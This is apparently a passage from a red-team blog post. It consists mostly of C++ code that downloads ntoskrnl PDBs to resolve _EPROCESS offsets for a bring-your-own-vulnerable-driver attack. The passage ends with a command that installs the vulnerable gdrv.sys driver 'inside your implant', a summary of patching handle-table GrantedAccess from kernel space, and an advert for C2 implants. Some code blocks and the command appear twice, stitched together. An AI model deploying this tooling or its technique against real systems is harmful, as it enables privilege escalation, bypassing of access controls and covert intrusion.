SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_OFFSET, &offset);
return offset;
}
}
printf("[-] Field not found: %s::%s\n", structName, fieldName);
return 0;
}
static bool ResolveKernelOffsets(KernelOffsets& out) {
// Locate ntoskrnl.exe
char sysDir[MAX_PATH];
if (!GetSystemDirectoryA(sysDir, MAX_PATH)) return false;
char ntosPath[MAX_PATH];
snprintf(ntosPath, MAX_PATH, "%s\\ntoskrnl.exe", sysDir);
printf("[*] Kernel image: %s\n", ntosPath);
// Extract CodeView PDB info from PE debug directory
PdbCodeViewInfo pdbInfo{};
if (!GetPdbInfoFromPE(ntosPath, pdbInfo)) {
printf("[-] Failed to extract CodeView info from PE\n");
return false;
}
// Strip any path prefix from PDB filename (keep leaf only)
char* pdbName = pdbInfo.PdbFileName;
for (int i = static_cast<int>(strlen(pdbInfo.PdbFileName)) - 1; i >= 0; i--) {
if (pdbInfo.PdbFileName[i] == '\\' || pdbInfo.PdbFileName[i] == '/') {
pdbName = &pdbInfo.PdbFileName[i + 1];
break;
}
}
printf("[*] PDB: %s Age: %lu\n", pdbName, pdbInfo.Age);
// Local cache path: %TEMP%\<pdbname>
char tempDir[MAX_PATH];
GetTempPathA(MAX_PATH, tempDir);
char localPdb[MAX_PATH];
snprintf(localPdb, MAX_PATH, "%s%s", tempDir, pdbName);
// Validate cached PDB by checking its MSF stream-1 GUID
bool needDownload = true;
DWORD attr = GetFileAttributesA(localPdb);
if (attr != INVALID_FILE_ATTRIBUTES && !(attr & FILE_ATTRIBUTE_DIRECTORY)) {
GUID cachedGuid{};
if (ExtractGuidFromPdb(localPdb, cachedGuid) && IsEqualGUID(cachedGuid, pdbInfo.Guid)) {
printf("[+] Valid cached PDB: %s\n", localPdb);
needDownload = false;
}
else {
printf("[*] Cached PDB GUID mismatch, re-downloading\n");
}
}
if (needDownload) {
wchar_t pdbNameW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, pdbName, -1, pdbNameW, MAX_PATH);
if (!DownloadPdb(pdbInfo.Guid, pdbInfo.Age, pdbNameW, localPdb)) {
printf("[-] Failed to download PDB\n");
return false;
}
}
// Initialize DbgHelp and load the PDB
SymSetOptions(SYMOPT_UNDNAME | SYMOPT_DEFERRED_LOADS);
// Use a unique fake handle so DbgHelp doesn't collide with any real process
HANDLE hSym = reinterpret_cast<HANDLE>(static_cast<ULONG_PTR>(0xDEAD1234));
if (!SymInitialize(hSym, nullptr, FALSE)) {
printf("[-] SymInitialize failed (0x%lX)\n", GetLastError());
return false;
}
wchar_t localPdbW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, localPdb, -1, localPdbW, MAX_PATH);
const DWORD64 kFakeBase = 0x10000000ULL;
DWORD64 modBase = SymLoadModuleExW(hSym, nullptr, localPdbW, nullptr,
kFakeBase, 0, nullptr, 0);
if (modBase == 0) {
DWORD err = GetLastError();
if (err != ERROR_SUCCESS) {
printf("[-] SymLoadModuleExW failed (0x%lX)\n", err);
SymCleanup(hSym);
return false;
}
modBase = kFakeBase; // already loaded
}
printf("[+] PDB loaded at base 0x%llX\n", modBase);
// Resolve EPROCESS field offsets
out.ObjectTable = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ObjectTable");
out.UniqueProcessId = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "UniqueProcessId");
out.ActiveProcessLinks = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ActiveProcessLinks");
//out.PsInitialSystemProcess = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "PsInitialSystemProcess");
out.PsInitialSystemProcess = ResolveSymbolRva(hSym, modBase, "PsInitialSystemProcess");
SymUnloadModule64(hSym, modBase);
SymCleanup(hSym);
return 1;
}#pragma once
#define WIN32_LEAN_AND_MEAN
#define NOMINMAX
#include <Windows.h>
#include <winhttp.h>
#include <dbghelp.h>
#include <stdio.h>
#include <string>
#include <vector>
//#include <algorithm>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "dbghelp.lib")
// Data Structures
struct PdbCodeViewInfo {
GUID Guid;
DWORD Age;
char PdbFileName[MAX_PATH];
};
struct KernelOffsets {
// EPROCESS struct field offsets (bytes from struct base)
DWORD ObjectTable;
DWORD UniqueProcessId;
DWORD ActiveProcessLinks;
DWORD64 PsInitialSystemProcess;
};
// PE Parsing
#pragma pack(push, 1)
struct CV_INFO_PDB70 {
DWORD CvSignature; // 0x53445352 = 'RSDS'
GUID Signature;
DWORD Age;
char PdbFileName[1];
};
#pragma pack(pop)
static DWORD RvaToFileOffset(PIMAGE_NT_HEADERS nt, DWORD rva) {
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (rva >= sec->VirtualAddress &&
rva < sec->VirtualAddress + sec->Misc.VirtualSize)
return rva - sec->VirtualAddress + sec->PointerToRawData;
}
return 0;
}
static bool GetPdbInfoFromPE(const char* exePath, PdbCodeViewInfo& out) {
HANDLE hFile = CreateFileA(exePath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot open '%s' (err %lu)\n", exePath, GetLastError());
return false;
}
LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
DWORD rd = 0;
bool ok = ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr)
&& rd == buf.size();
CloseHandle(hFile);
if (!ok) return false;
auto* dos = reinterpret_cast<PIMAGE_DOS_HEADER>(buf.data());
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return false;
auto* nt = reinterpret_cast<PIMAGE_NT_HEADERS>(buf.data() + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return false;
auto& dd = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
if (!dd.VirtualAddress || !dd.Size) return false;
DWORD ddOff = RvaToFileOffset(nt, dd.VirtualAddress);
if (!ddOff || ddOff + dd.Size > buf.size()) return false;
int entryCount = dd.Size / sizeof(IMAGE_DEBUG_DIRECTORY);
auto* entries = reinterpret_cast<PIMAGE_DEBUG_DIRECTORY>(buf.data() + ddOff);
for (int i = 0; i < entryCount; i++) {
if (entries[i].Type != IMAGE_DEBUG_TYPE_CODEVIEW) continue;
DWORD raw = entries[i].PointerToRawData;
if (!raw) raw = RvaToFileOffset(nt, entries[i].AddressOfRawData);
if (!raw || raw >= buf.size()) continue;
auto* cv = reinterpret_cast<CV_INFO_PDB70*>(buf.data() + raw);
if (cv->CvSignature != 0x53445352) continue; // 'RSDS'
out.Guid = cv->Signature;
out.Age = cv->Age;
strncpy_s(out.PdbFileName, cv->PdbFileName, _TRUNCATE);
return true;
}
printf("[-] No CodeView RSDS entry found in PE\n");
return false;
}
// PDB Cache Validation
#pragma pack(push, 1)
struct MsfSuperBlock {
char FileMagic[0x20];
DWORD BlockSize;
DWORD FreeBlockMapBlock;
DWORD NumBlocks;
DWORD NumDirectoryBytes;
DWORD Unknown;
DWORD BlockMapAddr;
};
struct PdbInfoStreamHeader {
DWORD Version;
DWORD Signature;
DWORD Age;
GUID UniqueId;
};
#pragma pack(pop)
static bool ExtractGuidFromPdb(const char* pdbPath, GUID& outGuid) {
HANDLE hFile = CreateFileA(pdbPath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) return false;
LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
DWORD rd = 0;
ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr);
CloseHandle(hFile);
if (buf.size() < sizeof(MsfSuperBlock)) return false;
// MSF 7.00 magic (null-terminated string is 32 bytes including padding)
static const char kMsfMagic[] = "Microsoft C/C++ MSF 7.00\r\n\x1A""DS";
auto* sb = reinterpret_cast<MsfSuperBlock*>(buf.data());
if (memcmp(sb->FileMagic, kMsfMagic, sizeof(kMsfMagic) - 1) != 0) return false;
DWORD bs = sb->BlockSize;
DWORD nd = sb->NumDirectoryBytes;
if (!bs || !nd) return false;
DWORD nDirBlocks = (nd + bs - 1) / bs;
DWORD bmOffset = sb->BlockMapAddr * bs;
if (bmOffset >= buf.size()) return false;
// Reconstruct stream directory into contiguous buffer
auto* blockIdx = reinterpret_cast<DWORD*>(buf.data() + bmOffset);
std::vector<BYTE> dir(nd, 0);
DWORD written = 0;
for (DWORD i = 0; i < nDirBlocks; i++) {
DWORD blkOff = blockIdx[i] * bs;
if (blkOff >= buf.size()) break;
DWORD chunk = min(bs, nd - written);
memcpy(dir.data() + written, buf.data() + blkOff, chunk);
written += chunk;
}
// Directory layout: [NumStreams(4)] [StreamSizes(4*N)] [StreamBlockIndices...]
DWORD numStreams = *reinterpret_cast<DWORD*>(dir.data());
if (numStreams < 2) return false;
auto* streamSizes = reinterpret_cast<DWORD*>(dir.data() + 4);
auto* flatBlocks = reinterpret_cast<DWORD*>(dir.data() + 4 + numStreams * 4);
DWORD s0Size = streamSizes[0];
DWORD s0Blocks = (s0Size == 0xFFFFFFFF) ? 0 : (s0Size + bs - 1) / bs;
// Stream 1 first block index sits right after all of stream 0's block indices
DWORD s1BlockOff = flatBlocks[s0Blocks] * bs;
if (s1BlockOff + sizeof(PdbInfoStreamHeader) > buf.size()) return false;
outGuid = reinterpret_cast<PdbInfoStreamHeader*>(buf.data() + s1BlockOff)->UniqueId;
return true;
}
// PDB Download via WinHTTP from Microsoft Symbol Server
static std::wstring BuildSymSrvUri(const GUID& g, DWORD age, const wchar_t* pdbName) {
wchar_t guid[48];
swprintf_s(guid,
L"%08X%04X%04X%02X%02X%02X%02X%02X%02X%02X%02X%X",
g.Data1, g.Data2, g.Data3,
g.Data4[0], g.Data4[1], g.Data4[2], g.Data4[3],
g.Data4[4], g.Data4[5], g.Data4[6], g.Data4[7],
age);
std::wstring uri = L"/download/symbols/";
uri += pdbName; uri += L"/";
uri += guid; uri += L"/";
uri += pdbName;
return uri;
}
static bool DownloadPdb(const GUID& guid, DWORD age, const wchar_t* pdbNameW, const char* outPath) {
std::wstring uri = BuildSymSrvUri(guid, age, pdbNameW);
printf("[*] Downloading: https://msdl.microsoft.com%ls\n", uri.c_str());
HINTERNET hSess = WinHttpOpen(L"PDBOffsets/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSess) { printf("[-] WinHttpOpen failed (%lu)\n", GetLastError()); return false; }
HINTERNET hConn = WinHttpConnect(hSess, L"msdl.microsoft.com",
INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET hReq = hConn ? WinHttpOpenRequest(hConn, L"GET", uri.c_str(),
nullptr, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE) : nullptr;
auto closeAll = [&] {
if (hReq) WinHttpCloseHandle(hReq);
if (hConn) WinHttpCloseHandle(hConn);
WinHttpCloseHandle(hSess);
};
if (!hReq) { closeAll(); return false; }
if (!WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0) ||
!WinHttpReceiveResponse(hReq, nullptr)) {
printf("[-] WinHTTP request failed (%lu)\n", GetLastError());
closeAll();
return false;
}
DWORD status = 0, statusLen = sizeof(status);
WinHttpQueryHeaders(hReq,
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &status, &statusLen, WINHTTP_NO_HEADER_INDEX);
if (status != 200) {
printf("[-] HTTP %lu from symbol server\n", status);
closeAll();
return false;
}
// Read body in chunks
std::vector<BYTE> body;
body.reserve(32 * 1024 * 1024);
BYTE chunk[65536];
DWORD rd = 0;
while (WinHttpReadData(hReq, chunk, sizeof(chunk), &rd) && rd > 0)
body.insert(body.end(), chunk, chunk + rd);
closeAll();
if (body.empty()) {
printf("[-] Empty response from symbol server\n");
return false;
}
HANDLE hFile = CreateFileA(outPath, GENERIC_WRITE, 0, nullptr,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot write PDB to '%s' (%lu)\n", outPath, GetLastError());
return false;
}
DWORD wr = 0;
WriteFile(hFile, body.data(), static_cast<DWORD>(body.size()), &wr, nullptr);
CloseHandle(hFile);
printf("[+] PDB saved: %s (%zu bytes)\n", outPath, body.size());
return true;
}
// DbgHelp Symbol Resolution
struct SymFindCtx {
const char* name;
DWORD64 address;
bool found;
};
struct TypeFindCtx {
const char* name;
ULONG typeIndex;
bool found;
};
static BOOL CALLBACK OnSymbol(PSYMBOL_INFO pInfo, ULONG, PVOID ctx) {
auto* s = static_cast<SymFindCtx*>(ctx);
if (_stricmp(pInfo->Name, s->name) == 0) {
s->address = pInfo->Address;
s->found = true;
return FALSE;
}
return TRUE;
}
static BOOL CALLBACK OnType(PSYMBOL_INFO pInfo, ULONG, PVOID ctx) {
auto* t = static_cast<TypeFindCtx*>(ctx);
if (_stricmp(pInfo->Name, t->name) == 0) {
t->typeIndex = pInfo->TypeIndex;
t->found = true;
return FALSE;
}
return TRUE;
}
// Returns RVA (offset from module base) of a named global symbol.
static DWORD64 ResolveSymbolRva(HANDLE hSym, DWORD64 modBase, const char* symName) {
SymFindCtx ctx{ symName, 0, false };
SymEnumSymbols(hSym, modBase, symName, OnSymbol, &ctx);
if (!ctx.found || !ctx.address) {
printf("[-] Symbol not found: %s\n", symName);
return 0;
}
return ctx.address - modBase;
}
// Returns byte offset of a named field within a named struct.
static DWORD ResolveFieldOffset(HANDLE hSym, DWORD64 modBase,
const char* structName, const char* fieldName) {
TypeFindCtx tCtx{ structName, 0, false };
SymEnumTypesByName(hSym, modBase, structName, OnType, &tCtx);
if (!tCtx.found) {
printf("[-] Struct not found: %s\n", structName);
return 0;
}
DWORD childCount = 0;
if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_GET_CHILDRENCOUNT, &childCount) ||
childCount == 0)
return 0;
// TI_FINDCHILDREN_PARAMS has a variable-length ChildId[] at the end
size_t paramSz = sizeof(TI_FINDCHILDREN_PARAMS) + childCount * sizeof(ULONG);
std::vector<BYTE> paramBuf(paramSz, 0);
auto* params = reinterpret_cast<TI_FINDCHILDREN_PARAMS*>(paramBuf.data());
params->Count = childCount;
params->Start = 0;
if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_FINDCHILDREN, params))
return 0;
// Convert target field name to wide for comparison with TI_GET_SYMNAME output
wchar_t wField[256];
MultiByteToWideChar(CP_ACP, 0, fieldName, -1, wField, 256);
for (DWORD i = 0; i < childCount; i++) {
WCHAR* nameW = nullptr;
if (!SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_SYMNAME, &nameW) || !nameW)
continue;
bool match = (_wcsicmp(nameW, wField) == 0);
LocalFree(nameW); // DbgHelp allocates with LocalAlloc
if (match) {
DWORD offset = 0;
SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_OFFSET, &offset);
return offset;
}
}
printf("[-] Field not found: %s::%s\n", structName, fieldName);
return 0;
}
static bool ResolveKernelOffsets(KernelOffsets& out) {
// Locate ntoskrnl.exe
char sysDir[MAX_PATH];
if (!GetSystemDirectoryA(sysDir, MAX_PATH)) return false;
char ntosPath[MAX_PATH];
snprintf(ntosPath, MAX_PATH, "%s\\ntoskrnl.exe", sysDir);
printf("[*] Kernel image: %s\n", ntosPath);
// Extract CodeView PDB info from PE debug directory
PdbCodeViewInfo pdbInfo{};
if (!GetPdbInfoFromPE(ntosPath, pdbInfo)) {
printf("[-] Failed to extract CodeView info from PE\n");
return false;
}
// Strip any path prefix from PDB filename (keep leaf only)
char* pdbName = pdbInfo.PdbFileName;
for (int i = static_cast<int>(strlen(pdbInfo.PdbFileName)) - 1; i >= 0; i--) {
if (pdbInfo.PdbFileName[i] == '\\' || pdbInfo.PdbFileName[i] == '/') {
pdbName = &pdbInfo.PdbFileName[i + 1];
break;
}
}
printf("[*] PDB: %s Age: %lu\n", pdbName, pdbInfo.Age);
// Local cache path: %TEMP%\<pdbname>
char tempDir[MAX_PATH];
GetTempPathA(MAX_PATH, tempDir);
char localPdb[MAX_PATH];
snprintf(localPdb, MAX_PATH, "%s%s", tempDir, pdbName);
// Validate cached PDB by checking its MSF stream-1 GUID
bool needDownload = true;
DWORD attr = GetFileAttributesA(localPdb);
if (attr != INVALID_FILE_ATTRIBUTES && !(attr & FILE_ATTRIBUTE_DIRECTORY)) {
GUID cachedGuid{};
if (ExtractGuidFromPdb(localPdb, cachedGuid) && IsEqualGUID(cachedGuid, pdbInfo.Guid)) {
printf("[+] Valid cached PDB: %s\n", localPdb);
needDownload = false;
}
else {
printf("[*] Cached PDB GUID mismatch, re-downloading\n");
}
}
if (needDownload) {
wchar_t pdbNameW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, pdbName, -1, pdbNameW, MAX_PATH);
if (!DownloadPdb(pdbInfo.Guid, pdbInfo.Age, pdbNameW, localPdb)) {
printf("[-] Failed to download PDB\n");
return false;
}
}
// Initialize DbgHelp and load the PDB
SymSetOptions(SYMOPT_UNDNAME | SYMOPT_DEFERRED_LOADS);
// Use a unique fake handle so DbgHelp doesn't collide with any real process
HANDLE hSym = reinterpret_cast<HANDLE>(static_cast<ULONG_PTR>(0xDEAD1234));
if (!SymInitialize(hSym, nullptr, FALSE)) {
printf("[-] SymInitialize failed (0x%lX)\n", GetLastError());
return false;
}
wchar_t localPdbW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, localPdb, -1, localPdbW, MAX_PATH);
const DWORD64 kFakeBase = 0x10000000ULL;
DWORD64 modBase = SymLoadModuleExW(hSym, nullptr, localPdbW, nullptr,
kFakeBase, 0, nullptr, 0);
if (modBase == 0) {
DWORD err = GetLastError();
if (err != ERROR_SUCCESS) {
printf("[-] SymLoadModuleExW failed (0x%lX)\n", err);
SymCleanup(hSym);
return false;
}
modBase = kFakeBase; // already loaded
}
printf("[+] PDB loaded at base 0x%llX\n", modBase);
// Resolve EPROCESS field offsets
out.ObjectTable = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ObjectTable");
out.UniqueProcessId = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "UniqueProcessId");
out.ActiveProcessLinks = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ActiveProcessLinks");
//out.PsInitialSystemProcess = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "PsInitialSystemProcess");
out.PsInitialSystemProcess = ResolveSymbolRva(hSym, modBase, "PsInitialSystemProcess");
SymUnloadModule64(hSym, modBase);
SymCleanup(hSym);
return 1;
}Proof of Concept
Windows 11:
First we install and start the GIO driver service manually (in a real operation this goes inside your implant)
sc.exe create gdrv.sys binPath=C:\windows\temp\gdrv.sys type=kernel && sc.exe start gdrv.syssc.exe create gdrv.sys binPath=C:\windows\temp\gdrv.sys type=kernel && sc.exe start gdrv.sys
;)
We build custom C2 agents and implants for red teams, giving full control professional operations.
Custom Agents — 0x12 Dark Development Custom C2 Agents Built for the Real World. Command & Control agents compatible with Mythic, Havoc and leading…
Conclusions
In this post we covered how to elevate a handle's GrantedAccess by patching the _HANDLE_TABLE_ENTRY directly from kernel space using a BYOVD read/write primitive. The key insight is that Windows evaluates access rights exactly once, at handle creation, and trusts the stored value unconditionally from that point forward
📌 Follow me: YouTube | 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter
S12.